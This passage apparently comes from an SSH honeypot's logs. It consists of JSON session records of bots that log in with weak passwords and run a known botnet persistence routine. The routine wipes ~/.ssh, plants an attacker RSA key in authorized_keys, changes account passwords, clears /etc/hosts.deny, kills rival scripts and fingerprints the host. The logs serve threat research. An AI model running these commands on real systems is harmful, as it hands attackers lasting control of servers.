~"},{"seq":3,"at":"2026-08-27T11:20:28.434540+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:20:28.731337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:20:29.187468+00:00","kind":"input","latency_ms":null,"data":"echo \"root:OIa1kvwL7vUD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:20:29.642927+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:20:30.098312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:20:30.930420+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:20:31.387193+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:20:32.140495+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:20:32.604080+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:20:33.658463+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:20:34.116747+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:20:34.670262+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:20:35.139770+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:20:35.892404+00:00","kind":"output","latency_ms":null,"data":" 11:20:35 up 7 days, 8:10, 0 user, load average: 0.14, 0.16, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:20:36.346663+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:20:36.740414+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:20:37.199086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:20:37.593199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:20:38.049809+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:20:38.879120+00:00","kind":"output","latency_ms":null,"data":"top - 11:20:38 up 7 days, 8:10, 0 user, load average: 0.14, 0.16, 0.11\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:20:39.339037+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:20:39.862703+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:20:40.319312+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:20:40.873116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:20:41.324254+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:20:42.219649+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:20:42.680586+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:20:44.283469+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:20:44.740384+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:20:45.825129+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty12","method":"password","accepted":true,"tier":"other"}]} {"id":"10b309e8-a210-4ea5-9afb-99553f4e9272","name":"hidden-vernal-boar","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38484,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:19:55.134526+00:00","ended_at":"2026-08-27T11:19:57.060505+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2156,"events":[{"seq":1,"at":"2026-08-27T11:19:26.060718+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:19:26.318764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:19:30.557304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:19:32.394583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:19:32.655160+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user@123\\nSKETNpAnEcsj\\nSKETNpAnEcsj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:19:32.912684+00:00","kind":"input","latency_ms":null,"data":"echo \"user@123\\nSKETNpAnEcsj\\nSKETNpAnEcsj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:19:33.168613+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:19:33.770323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:19:34.050137+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:19:34.235426+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:19:34.495456+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:19:36.137317+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:19:36.398721+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:19:38.481963+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:19:38.744457+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:19:40.906714+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:19:41.169454+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:19:43.234108+00:00","kind":"output","latency_ms":null,"data":" 11:19:43 up 7 days, 8:09, 0 user, load average: 0.26, 0.22, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:19:43.497955+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:19:44.819254+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:19:45.078726+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:19:47.116625+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:19:47.376406+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:19:48.972436+00:00","kind":"output","latency_ms":null,"data":"top - 11:19:48 up 7 days, 8:09, 0 user, load average: 0.26, 0.22, 0.29\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:19:49.232402+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:19:50.531469+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:19:50.789404+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:19:52.807376+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:19:53.066682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:19:53.736467+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T11:19:53.995604+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:19:54.877033+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:19:55.135544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:19:56.987155+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user@123","method":"password","accepted":true,"tier":"other"}]} {"id":"65b2be7b-71af-49b5-95cc-5a8bc3517970","name":"quaint-umber-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":43774,"username":"newusername","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":769,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:19:54.975918+00:00","ended_at":"2026-08-27T11:19:56.508392+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2152,"events":[{"seq":1,"at":"2026-08-27T11:19:27.382370+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:19:28.153836+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:19:34.232541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:19:34.813650+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:19:35.603547+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nEpjVmbpYvAW9\\nEpjVmbpYvAW9\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:19:37.114308+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nEpjVmbpYvAW9\\nEpjVmbpYvAW9\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:19:37.878612+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:19:38.227351+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:19:38.995946+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:19:40.140334+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:19:40.905456+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:19:42.273446+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:19:43.046693+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:19:43.810459+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:19:44.577795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:19:45.024405+00:00","kind":"output","latency_ms":null,"data":" 11:19:45 up 7 days, 8:09, 0 user, load average: 0.34, 0.29, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:19:45.792551+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:19:46.389571+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:19:47.161963+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:19:47.474188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:19:48.243716+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:19:48.838617+00:00","kind":"output","latency_ms":null,"data":"top - 11:19:48 up 7 days, 8:09, 0 user, load average: 0.34, 0.29, 0.21\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:19:49.606700+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:19:49.906038+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:19:50.677162+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:19:51.002377+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:19:51.770721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:19:52.227196+00:00","kind":"output","latency_ms":null,"data":"newusername"},{"seq":29,"at":"2026-08-27T11:19:53.240032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:19:54.208193+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:19:54.976920+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:19:56.263845+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"newusername","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"d0642adb-af0b-4529-9eda-cb5c44c3472a","name":"thorny-gritty-chough","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58958,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:18:08.352740+00:00","ended_at":"2026-08-27T11:18:09.823471+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-27T11:17:46.933355+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:17:47.380632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:17:51.527944+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:17:51.888655+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:17:52.334969+00:00","kind":"input","latency_ms":null,"data":"echo \"root:o9g63CVUxNJ1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:17:52.780463+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:17:53.226166+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:17:53.781124+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:17:54.229099+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:17:55.382557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:17:55.840874+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:17:56.902579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:17:57.349111+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:17:57.827952+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:17:58.275826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:17:59.045253+00:00","kind":"output","latency_ms":null,"data":" 11:17:59 up 7 days, 8:08, 0 user, load average: 0.05, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:17:59.492385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:18:00.373554+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:18:00.818176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:18:01.637809+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:18:02.085300+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:18:02.360613+00:00","kind":"output","latency_ms":null,"data":"top - 11:18:02 up 7 days, 8:08, 0 user, load average: 0.05, 0.04, 0.04\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:18:02.807327+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:18:03.600811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:18:04.046674+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:18:04.619287+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:18:05.074646+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:18:05.833544+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:18:06.293347+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:18:07.906774+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:18:08.353695+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:18:09.687302+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"cq@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"31ecbce0-c621-4368-93f6-d98c1d670970","name":"dapper-scarlet-owl","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34484,"username":"cri","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":275,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:17:55.068839+00:00","ended_at":"2026-08-27T11:17:56.991047+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2130,"events":[{"seq":1,"at":"2026-08-27T11:17:26.212539+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:17:26.486953+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:17:30.035995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:17:31.202024+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:17:31.476248+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cri\\nI1whFTEyi1kD\\nI1whFTEyi1kD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:17:31.751809+00:00","kind":"input","latency_ms":null,"data":"echo \"cri\\nI1whFTEyi1kD\\nI1whFTEyi1kD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:17:32.025512+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:17:32.825377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:17:33.220474+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:17:33.928264+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:17:34.203175+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:17:35.678276+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:17:35.954871+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:17:37.961521+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:17:38.238754+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:17:39.718330+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:17:39.992360+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:17:41.621237+00:00","kind":"output","latency_ms":null,"data":" 11:17:41 up 7 days, 8:07, 0 user, load average: 0.3, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:17:41.896990+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:17:43.456399+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:17:43.731901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 